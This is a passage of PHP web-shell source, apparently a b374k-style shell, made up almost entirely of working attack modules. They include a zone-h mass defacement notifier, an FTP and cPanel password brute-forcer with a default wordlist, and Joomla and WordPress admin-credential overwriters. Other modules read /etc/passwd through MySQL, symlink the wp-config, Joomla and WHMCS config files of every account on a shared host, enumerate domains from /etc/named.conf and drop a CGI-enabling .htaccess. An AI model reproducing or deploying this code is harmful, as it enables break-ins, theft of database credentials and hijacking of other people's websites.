  256. }$defacer=$_POST['defacer'];if(!$sites){echo '</pre>';exit;}$sites=array_unique(str_replace('http://','',$sites));$total=count($sites);echo "[+] Total unique domain: $total\n\n";$pause=10;$start=time();$main=curl_multi_init();for($m=0;$m<3;$m++){$http[] = curl_init();}for($n=0;$n<$total;$n +=30){if($display_details==1){for($x=0;$x<30;$x++){echo'[+] Adding '.rtrim($sites[$n+$x]).'';echo "\n";}}$d=$n+30;if($d>$total){$d=$total;}echo "=====================>[$d/$total]\n";for($w=0;$w<3;$w++){$p=$w * 10;if(!(isset($sites[$n+$p]))){$pause=$w;break;}$posts[$w]="defacer=$defacer&domain1=http%3A%2F%2F".rtrim($sites[$n+$p])."&domain2=http%3A%2F%2F".rtrim($sites[$n+$p+1])."&domain3=http%3A%2F%2F".rtrim($sites[$n+$p+2])."&domain4=http%3A%2F%2F".rtrim($sites[$n+$p+3])."&domain5=http%3A%2F%2F".rtrim($sites[$n+$p+4])."&domain6=http%3A%2F%2F".rtrim($sites[$n+$p+5])."&domain7=http%3A%2F%2F".rtrim($sites[$n+$p+6])."&domain8=http%3A%2F%2F".rtrim($sites[$n+$p+7])."&domain9=http%3A%2F%2F".rtrim($sites[$n+$p+8])."&domain10=http%3A%2F%2F".rtrim($sites[$n+$p+9])."&hackmode=".$method."&reason=".$reason."&submit=Send";$curlopt=array(CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1;WOW64) AppleWebKit/535.16 (KHTML, like Gecko) Chrome/18.0.1003.1 Safari/535.16',CURLOPT_RETURNTRANSFER => true,CURLOPT_FOLLOWLOCATION =>true,CURLOPT_ENCODING => true,CURLOPT_HEADER => false,CURLOPT_HTTPHEADER => array("Keep-Alive: 7"),CURLOPT_CONNECTTIMEOUT => 3,CURLOPT_URL => 'http://www.zone-h.com/notify/mass',CURLOPT_POSTFIELDS => $posts[$w]);curl_setopt_array($http[$w],$curlopt);curl_multi_add_handle($main,$http[$w]);}$running = null;do{curl_multi_exec($main,$running);}while($running > 0);for($m=0;$m<3;$m++){if($pause==$m){break;}curl_multi_remove_handle($main, $http[$m]);$code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);if ($code != 200) {while(true){echo' [-]Error!....Retrying';echo "\n";sleep(5);curl_exec($http[$m]);$code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);if( $code== 200){break 1;}}}}}$end= time() - $start;echo 'Done';echo "\n\n[*]Time: $end seconds\n";curl_multi_close($main);if($cli==0){echo '</pre></body></html>';}exit;}
  257.  
  258. elseif(isset($_GET['x']) && ($_GET['x'] == 'brute')){$connect_timeout=5;
  259. set_time_limit(0);$submit=$_REQUEST['submit'];$users=$_REQUEST['users'];$pass=$_REQUEST['passwords'];$target=$_REQUEST['target'];$cracktype=$_REQUEST['cracktype'];if($target == ""){$target = "localhost";}?><div align="center"><form method="POST" style="border: 1px solid #000000"><br><?php function ftp_check($host,$user,$pass,$timeout){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "ftp://$host");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);curl_setopt($ch, CURLOPT_FAILONERROR, 1);$data = curl_exec($ch);if ( curl_errno($ch) == 28 ) {print "<b>Connection Timed out</b>";exit;}elseif ( curl_errno($ch) == 0 ){print "<table width='67%'><tr><td align=center><b>Username ($user) | Password ($pass)</b></td></tr></table>";}curl_close($ch);}function cpanel_check($host,$user,$pass,$timeout){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "http://$host:2082");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);curl_setopt($ch, CURLOPT_FAILONERROR, 1);$data = curl_exec($ch);if ( curl_errno($ch) == 28 ) {print "<b>Connection Timed out</b>";exit;}elseif ( curl_errno($ch) == 0 ){print "<table width='67%'><tr><td align=center><b>[+]Username ($user) | Password ($pass)</b></td></tr></table>";}curl_close($ch);}if(isset($submit) && !empty($submit)){if(empty($users) && empty($pass)){print "<p><b>Error : Check The Users and Password List</b></p>";exit;}if(empty($users)){print "<p><b>Error :Check The Users List</b></p>";exit;}if(empty($pass) ){print "<p><b>Error :Check The Password List</b></p>";exit;};$userlist=explode("\n",$users);$passlist=explode("\n",$pass);print "<b>[~] Wait ...</b><br><br>";foreach ($userlist as $user) {$pureuser = trim($user);foreach ($passlist as $password ) {$purepass = trim($password);if($cracktype == "ftp"){ftp_check($target,$pureuser,$purepass,$connect_timeout);}if ($cracktype == "cpanel"){cpanel_check($target,$pureuser,$purepass,$connect_timeout);}}}}
  260. echo "<cecnter><div class='mybox'><h2 class='k2ll33d2'>The Cracker</h2><form method=POST action=''><table width='67%'><tr><td><br><p align='center'><b><span lang='en-us'>IP</span> :<input class='inputz' type='text' name='target' size='16' value=$target></b></p><div align='center'><p align='center'>users<textarea class='inputz' cols=20 rows=20 name='users'>";
  261. system('ls /var/mail');
  262. echo "</textarea>passwords<textarea class='inputz' cols=20 rows=20 name='passwords'>123123\n123456\n1234567\n12345678\n123456789\n159159\n112233\nadmin\n332211\n14789632\npasswd\n159357\n357951\n114477\npass\nPassword</textarea><br><br><input name='cracktype' value='cpanel' checked type='radio'></span><b>Cpanel(2082)</b><input name='cracktype' value='ftp' style='font-weight: 700;' type='radio'></font></font><font style='font-weight: 700;' size='2' face='Tahoma'><span style='font-weight: 700;'>Ftp (21)</span></p><br><center><input class='inputzbut' type='submit' value='Start Cracking' name='submit'></center></td></tr></table></td></tr></form></div></center>";die();}
  263. elseif(isset($_GET['x']) && ($_GET['x'] == 'joomla')){if(empty($_POST['pwd'])){echo "<br><br><br><center><div class='mybox'><h2 class='k2ll33d2'>Joomla login changer</h2><FORM method='POST'><br><br><br>DB_Prefix :&nbsp;&nbsp;<INPUT class ='inputz' size='8' value='jos_' name='prefix' type='text'>&nbsp;host :&nbsp;&nbsp;<INPUT class ='inputz' size='10' value='localhost' name='localhost' type='text'>&nbsp;database :&nbsp;&nbsp;<INPUT class ='inputz' size='10' value='database' name='database' type='text'>&nbsp;username :&nbsp;&nbsp;<INPUT class ='inputz' size='10' value='db_user' name='username' type='text'>&nbsp;password :&nbsp;&nbsp;<INPUT class ='inputz' size='10' value='db_pass' name='password' type='text'><br>&nbsp;&nbsp;<br>New Username:&nbsp;&nbsp;<INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New Password:&nbsp;&nbsp;<INPUT class ='inputz' name='pwd' size='15' value='123123'><br><br>&nbsp;&nbsp;<INPUT value='change' class='inputzbut' name='send' type='submit'></FORM></div></center>";}else {$prefix = $_POST['prefix'];$localhost = $_POST['localhost'];$database = $_POST['database'];$username = $_POST['username'];$password = $_POST['password'];$admin = $_POST['admin'];$pd = ($_POST["pwd"]);$pwd = md5($pd);@mysql_connect($localhost,$username,$password) or die (mysql_error());@mysql_select_db($database) or die (mysql_error());$SQL=@mysql_query("UPDATE ".$prefix."users SET username ='".$admin."' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die (mysql_error());$SQL=@mysql_query("UPDATE ".$prefix."users SET password ='".$pwd."' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die (mysql_error());if($SQL) echo "<br><br><center><h1>Done... go and login</h1></center>";}}
  264. elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){$sqlhost = $_GET['sqlhost'];$sqluser = $_GET['sqluser'];$sqlpass = $_GET['sqlpass'];$sqlport = $_GET['sqlport'];if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){$msg .= "<div style='width:99%;padding:4px 10px 0 10px;'>";$msg .= "<p>Connected to ".$sqluser."<span class='gaya'>@</span>".$sqlhost.":".$sqlport;$msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;'>[ databases ]</a>";if(isset($_GET['db'])) $msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."'>".htmlspecialchars($_GET['db'])."</a>";if(isset($_GET['table'])) $msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."&amp;table=".$_GET['table']."'>".htmlspecialchars($_GET['table'])."</a>";$msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";$msg .= "</div>";echo $msg;if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){$db = $_GET['db'];$query = "DROP TABLE IF EXISTS b374k_table;\nCREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE '/etc/passwd'\nINTO TABLE b374k_table;SELECT * FROM b374k_table;\nDROP TABLE IF EXISTS b374k_table;";$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'><input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>$query</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";$tables = array();$msg .= "<table class='explore' style='width:99%;'><tr><th>available tables on ".$db."</th></tr>";$hasil = @mysql_list_tables($db,$con);
  265. while(list($table) = @mysql_fetch_row($hasil)){@array_push($tables,$table);} @sort($tables);
  266. foreach($tables as $table){$msg .= "<tr><td><a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."&amp;table=".$table."'>$table</a></td></tr>";} $msg .= "</table>";}
  267. elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){
  268. $db = $_GET['db'];$table = $_GET['table'];$query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";$msgq = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";$columns = array();$msg = "<table class='explore' style='width:99%;'>";$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);while(list($column) = @mysql_fetch_row($hasil)){$msg .= "<th>$column</th>";$kolum = $column;}$msg .= "</tr>";$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
  269. list($total) = mysql_fetch_row($hasil);
  270. if(isset($_GET['z'])) $page = (int) $_GET['z'];
  271. else $page = 1;$pagenum = 100;$totpage = ceil($total / $pagenum);$start = (($page - 1) * $pagenum);$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
  272. while($datas = @mysql_fetch_assoc($hasil)){$msg .= "<tr>";foreach($datas as $data){if(trim($data) == "")
  273. $data = "&nbsp;";$msg .= "<td>$data</td>";}$msg .= "</tr>";} $msg .= "</table>";$head = "<div style='padding:10px 0 0 6px;'> <form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> Page <select class='inputz' name='z' onchange='this.form.submit();'>";
  274. for($i = 1;$i <= $totpage;$i++){$head .= "<option value='".$i."'>".$i."</option>";
  275. if($i == $_GET['z']) $head .= "<option value='".$i."' selected='selected'>".$i."</option>";} $head .= "</select><noscript><input class='inputzbut' type='submit' value='Go !' /></noscript></form></div>";$msg = $msgq.$head.$msg;}
  276. elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){$db = $_GET['db'];$query = magicboom($_GET['sqlquery']);
  277. $msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";@mysql_select_db($db);$querys = explode(";",$query);foreach($querys as $query){if(trim($query) != ""){$hasil = mysql_query($query);
  278. if($hasil){$msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query.";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";$msg .= "<table class='explore' style='width:99%;'><tr>";
  279. for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";$msg .= "</tr>";for($i=0;$i<@mysql_num_rows($hasil);$i++) {$rows=@mysql_fetch_array($hasil);$msg .= "<tr>";for($j=0;$j<@mysql_num_fields($hasil);$j++) {
  280. if($rows[$j] == "") $dataz = "&nbsp;";
  281. else $dataz = $rows[$j];$msg .= "<td>".$dataz."</td>";} $msg .= "</tr>";} $msg .= "</table>";}
  282. else $msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query.";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> error <span class='gaya'>]</span></p>";} } }
  283. else {$query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;";$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /><input type='hidden' name='x' value='mysql' /><input type='hidden' name='sqlhost' value='".$sqlhost."' /><input type='hidden' name='sqluser' value='".$sqluser."' /><input type='hidden' name='sqlport' value='".$sqlport."' /><input type='hidden' name='sqlpass' value='".$sqlpass."' /><input type='hidden' name='db' value='".$db."' /><p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p><p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p></form></div> ";$dbs = array();$msg .= "<table class='explore' style='width:99%;'><tr><th>available databases</th></tr>";$hasil = @mysql_list_dbs($con);
  284. while(list($db) = @mysql_fetch_row($hasil)){@array_push($dbs,$db);} @sort($dbs);foreach($dbs as $db){
  285. $msg .= "<tr><td><a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."'>$db</a></td></tr>";} $msg .= "</table>";}
  286. @mysql_close($con);} else $msg = "<p style='text-align:center;'>can't connect</p>";echo $msg;} else{?>
  287. <br><center><div class="mybox"><h2 class="k2ll33d2">MySQL Connect</h2><form action="?" method="get"><input type="hidden" name="y" value="<?php echo $pwd;?>" /> <input type="hidden" name="x" value="mysql" /><table class="tabnet" style="width:300px;"> <tr><th colspan="2">Connection Form</th></tr> <tr><td>&nbsp;&nbsp;Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr> <tr><td>&nbsp;&nbsp;Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr> <tr><td>&nbsp;&nbsp;Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr> <tr><td>&nbsp;&nbsp;Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr></table></form></div></center>
  288. <?php }}
  289. elseif(isset($_GET['x']) && ($_GET['x'] == 'configs')) {?><br><br><center><div class='mybox'><?php if (empty($_POST['conf'])) { ?><h2 class='k2ll33d2'>Configs Grabber</h2><br><p>/etc/passwd content</p><form method="POST"><textarea name="passwd" class='output' rows=20><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="conf" class='inputzbut' size="80" value="GET'em" type="submit"><br></form></div></center><?php }if ($_POST['conf']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink is disabled :( </error>');}@mkdir('configs', 0755);@chdir('configs');$htaccess="
  290. OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
  291. DirectoryIndex ViR.html
  292. ForceType text/plain
  293. AddType text/plain .php
  294. AddType text/plain .html
  295. AddType text/html .shtml
  296. AddType txt .php
  297. AddHandler server-parsed .php
  298. AddHandler txt .php
  299. AddHandler txt .html
  300. AddHandler txt .shtml
  301. Options All
  302. Options All
  303. ";file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];$passwd=explode("\n",$passwd);echo "<center class='k2ll33d2'>wait ...<center>";foreach($passwd as $pwd){$pawd=explode(":",$pwd);$user =$pawd[0];@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'-wp13-wordpress-beta.txt');@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');@symlink('/home/'.$user.'/public_html/protal/wp-config.php',$user.'-wp-protal.txt');@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');@symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-wp-test.txt');@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');@symlink('/home/'.$user.'/public_html/protal/configuration.php',$user.'-joomla-protal.txt');@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}echo 'Done -> <a href="configs">configs</a>';}}
  304. elseif(isset($_GET['x']) && ($_GET['x'] == 'config')){ error_reporting(0);if ($_POST['kill']) {$url = $_POST['url'];$user = $_POST['user'];$pass =$_POST['pass'];$pss = md5($pass);function enter($text,$a,$b){$explode = explode($a,$text);$explode = explode($b,$explode[1]);return $explode[0];}$config = file_get_contents($url);$password = enter($config,"define('DB_PASSWORD', '","');");$username = enter($config,"define('DB_USER', '","');");$db = enter($config,"define('DB_NAME', '","');");$prefix = enter($config,'$table_prefix = \'',"';");$host = enter($config,"define('DB_HOST', '","');");if($config && preg_match('/DB_NAME/i',$config)){$conn= @mysql_connect($host,$username ,$password ) or die ("i can't connect to mysql, check your data");@mysql_select_db($db,$conn) or die (mysql_error());$grab = @mysql_query("SELECT * from `wp_options` WHERE option_name='home'");$data = @mysql_fetch_array($grab);$site_url = $data["option_value"];$query = mysql_query("UPDATE `".$prefix."users` SET `user_login` = '".$user."',`user_pass` = '".$pss."' WHERE `ID` = 1");if ($query) {echo '<center><h2 class="k2ll33d2">Done !</h2></center><br><table width="100%"><tr><th width="20%">site</th><th width="20%">user</th><th with="20%">password</th><th width="20%">link</th></tr><tr><td width="20%"><font size="2" color="red">'.$site_url.'</font></td><td width="20%">'.$user.'</td><td with="20%">'.$pass.'</td><td width="20%"><a href="'.$site_url.'/wp-login.php"><font color="#00ff00">login</font></td></tr></table>';} else echo '<h2 class="k2ll33d2"><font color="#ff0000">ERROR !</font></h2>';} else die('<h2 class="k2ll33d2">Not a wordpress config</h2>');} else { ?> <center><br><br><div class="mybox"><form method="post"><h2 style='font-size:26px;' class='k2ll33d2'>Wordpress login changer ( symlink version )</h2><br><table><tr><td>config link&nbsp;:&nbsp;</td><td><input size="26" class="inputz" type="text" name="url" value=""></td></tr><tr><td>new user&nbsp;:&nbsp;</td><td><input class="inputz" type="text" name="user" size="26" value="admin"></td></tr><tr><td>new password&nbsp;:&nbsp;</td><td><input class="inputz" type="text" size="26" name="pass" value="123123"></td></tr><tr><td><br></td></tr><tr><td><input class="inputzbut" type="submit" name="kill" value=" change "></td><br></tr></table></form></div></center><?php }}
  305. elseif(isset($_GET['x']) && ($_GET['x'] == 'domains')){echo "<br><br><center><div class='mybox'><p align='center' class='k2ll33d2'>Domains and Users</p>";$d0mains = @file("/etc/named.conf");if(!$d0mains){die("<center>Error : i can't read [ /etc/named.conf ]</center>");}echo '<table id="output"><tr bgcolor=#cecece><td>Domains</td><td>users</td></tr>';foreach($d0mains as $d0main){if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);flush();if(strlen(trim($domains[1][0])) > 2){$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>";flush();}}}echo'</div></center>';}
  306. elseif(isset($_GET['x']) && ($_GET['x'] == 'keyboard')){if(empty($_POST['pwd'])){echo "<br><br><center><div class='mybox'><h2 style='font-size:40px;' class='k2ll33d2'>Wordpress login changer</h2><FORM method='POST'>DB_Prefix : <INPUT class ='inputz' size='8' value='wp_' name='prefix' type='text'>&nbsp;&nbsp;host : <INPUT class ='inputz' size='10' value='localhost' name='localhost' type='text'>&nbsp;&nbsp;database : <INPUT class ='inputz' size='10' value='Database' name='database' type='text'>&nbsp;&nbsp;username : <INPUT class ='inputz' size='10' value='db_user' name='username' type='text'>&nbsp;&nbsp;password : <INPUT class ='inputz' size='10' value='db_pass' name='password' type='text'>&nbsp;&nbsp;<br><br>New username : <INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New password : <INPUT class ='inputz' name='pwd' size='15' value='123123'><br>&nbsp;&nbsp;<br><INPUT class='inputzbut' value='change' name='send' type='submit'></FORM></div/></center>";}else{$prefix = $_POST['prefix'];$localhost = $_POST['localhost'];$database= $_POST['database'];$username= $_POST['username'];$password= $_POST['password'];$pwd= $_POST['pwd'];$admin= $_POST['admin'];@mysql_connect($localhost,$username,$password) or die(mysql_error());@mysql_select_db($database) or die(mysql_error());$hash = crypt($pwd);$grab = @mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");$data = @mysql_fetch_array($grab);$site_url=$data["option_value"];$k2=@mysql_query("UPDATE ".$prefix."users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());$k2=@mysql_query("UPDATE ".$prefix."users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());if($k2){echo '<br><br><center><h1>Done ... -> <a href="'.$site_url.'/wp-login.php" target="_blank">Login</a></h1></center>';}}echo '</center>';}
  307. elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){$text = $_POST['code'];?><center><br><br><div class="mybox"><h2 class="k2ll33d2">String encoder</h2><form method="post"><br><textarea class='inputz' cols=80 rows=5 name="code">ViRusx.EL</textarea><br><br><select class='inputz' size="1" name="ope"><option value="base64">Base64</option><option value="md5">md5</option><option value="whash">Crypt</option><option value="SHA1">SHA1</option><option value="urlencode">URL Encoding</option><option value="md4">md4</option><option value="SHA256">SHA256</option></select>&nbsp;<input class='inputzbut' type='submit' value='encrypt'></form><?php $op = $_POST["ope"];switch ($op) {case 'base64': $codi=base64_encode($text);break;case 'md5' : $codi=md5($text);break;case 'whash' : $codi=crypt($text);break;case 'SHA1' : $codi=sha1($text);break;case 'urlencode' : $codi=urlencode($text);break;case 'md4' : $codi=hash("md4",$text);break;case 'SHA256' : $codi=hash("sha256",$text);break;default:break;}echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></div></center>';}
  308. elseif(isset($_GET['x']) && $_GET['x'] == 'cgi'){mkdir('CGI7', 0755);chdir('CGI7');$kokdosya = ".htaccess";$dosya_adi = "$kokdosya";$dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");$metin =
  309. "AddType application/x-httpd-cgi .izo
  310. AddType application/x-httpd-cgi .izo
  311. AddHandler cgi-script .izo
  312. AddHandler cgi-script .izo";
  313. fwrite ( $dosya , $metin ) ;
  314. fclose ($dosya);
